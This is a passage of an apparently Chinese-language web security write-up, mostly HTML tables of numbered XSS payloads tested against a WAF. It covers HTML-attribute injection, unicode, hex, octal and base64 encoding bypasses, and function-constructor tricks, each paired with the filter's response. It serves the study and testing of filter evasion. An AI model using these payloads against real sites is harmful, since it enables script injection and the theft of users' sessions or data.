leaf="">&#34;);alert(1);//</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">连接重置</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">alert( 被拦截</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">5</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">test&#34;onfocus=&#34;open()&#34;//</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">非法请求</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">HTML 属性注入</span></span></td></tr></tbody></table></figure><h5 style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;width: inherit;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">阶段 2: 确认基本注入能力</span></span></h5><figure style="box-sizing: border-box;overflow-x: auto;margin: 1.2em 0px;padding: 0px;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><table style="box-sizing: border-box;border-collapse: collapse;border-spacing: 0px;width: 1140px;overflow: auto;break-inside: auto;text-align: left;margin: 0px;padding: 0px;word-break: initial;"><thead><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><th style="box-sizing: border-box;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">###</span></span></th><th style="box-sizing: border-box;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">Payload</span></span></th><th style="box-sizing: border-box;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">结果</span></span></th><th style="box-sizing: border-box;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">意义</span></span></th></tr></thead><tbody><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">6</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">alert(1</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">正常</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">确认 WAF 检测闭合括号</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">7</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">alert</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">正常</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">单独函数名安全</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">8</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">alerta(1)</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">正常</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">随机函数名安全</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">9</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">x(1)</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">正常</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">简单函数调用安全</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">10</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">x[1](1)</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">正常</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">方括号调用安全</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">11</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">&#34;;location=1//</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">跳转主页面</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">确认 JavaScript 代码可以执行！</span></span></strong></td></tr></tbody></table></figure><h5 style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;width: inherit;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">阶段 3: 解码绕过尝试</span></span></h5><figure style="box-sizing: border-box;overflow-x: auto;margin: 1.2em 0px;padding: 0px;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><table style="box-sizing: border-box;border-collapse: collapse;border-spacing: 0px;width: 1140px;overflow: auto;break-inside: auto;text-align: left;margin: 0px;padding: 0px;word-break: initial;"><thead><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><th style="box-sizing: border-box;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">###</span></span></th><th style="box-sizing: border-box;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">Payload</span></span></th><th style="box-sizing: border-box;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">结果</span></span></th></tr></thead><tbody><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">12</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">\u0061lert(1)</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">连接重置</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">13</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">\u0061lert\x28\x31\x29</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">连接重置</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">14</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">\141\154\145\162\164\050\061\051</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">连接重置</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">15</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">&#39;ale&#39;+&#39;rt(1)&#39;</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">连接重置</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">16</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">atob(&#39;YWxlcnQoMSk=&#39;)</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">连接重置</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">17</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">atob(&#39;YWx&#39;)+atob(&#39;ZXJ0KDEp&#39;)</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">连接重置</span></span></td></tr></tbody></table></figure><h5 style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;width: inherit;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">阶段 4: 原型链 &amp; 函数构造绕过</span></span></h5><figure style="box-sizing: border-box;overflow-x: auto;margin: 1.2em 0px;padding: 0px;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><table style="box-sizing: border-box;border-collapse: collapse;border-spacing: 0px;width: 1140px;overflow: auto;break-inside: auto;text-align: left;margin: 0px;padding: 0px;word-break: initial;"><thead><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><th style="box-sizing: border-box;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">###</span></span></th><th style="box-sizing: border-box;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">Payload</span></span></th><th style="box-sizing: border-box;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">结果</span></span></th></tr></thead><tbody><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">18</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">([]).constructor</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">正常</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">19</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">([]).constructor.constructor(&#39;return 1&#39;)()</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">连接重置</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">20</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">([]).constructor[&#39;constructor&#39;](&#39;1&#39;)()</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">连接重置</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">21</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">var c=[];c[&#39;constructor&#39;](&#39;1&#39;)()</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">连接重置</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">22</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">(function(){})()</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">连接重置</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">23</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">(()=&gt;1)()</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">正常（可执行但无法调用 alert）</span></span></td></tr></tbody></table></figure><h5 style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;width: inherit;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">阶段 5: 对象引用绕过</span></span></h5><figure style="box-sizing: border-box;overflow-x: auto;margin: 1.2em 0px;padding: 0px;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><table style="box-sizing: border-box;border-collapse: collapse;border-spacing: 0px;width: 1140px;overflow: auto;break-inside: auto;text-align: left;margin: 0px;padding: 0px;word-break: initial;"><thead><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><th style="box-sizing: border-box;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">###</span></span></th><th style="box-sizing: border-box;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">Payload</span></span></th><th style="box-sizing: border-box;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">结果</span></span></th></tr></thead><tbody><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">24</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 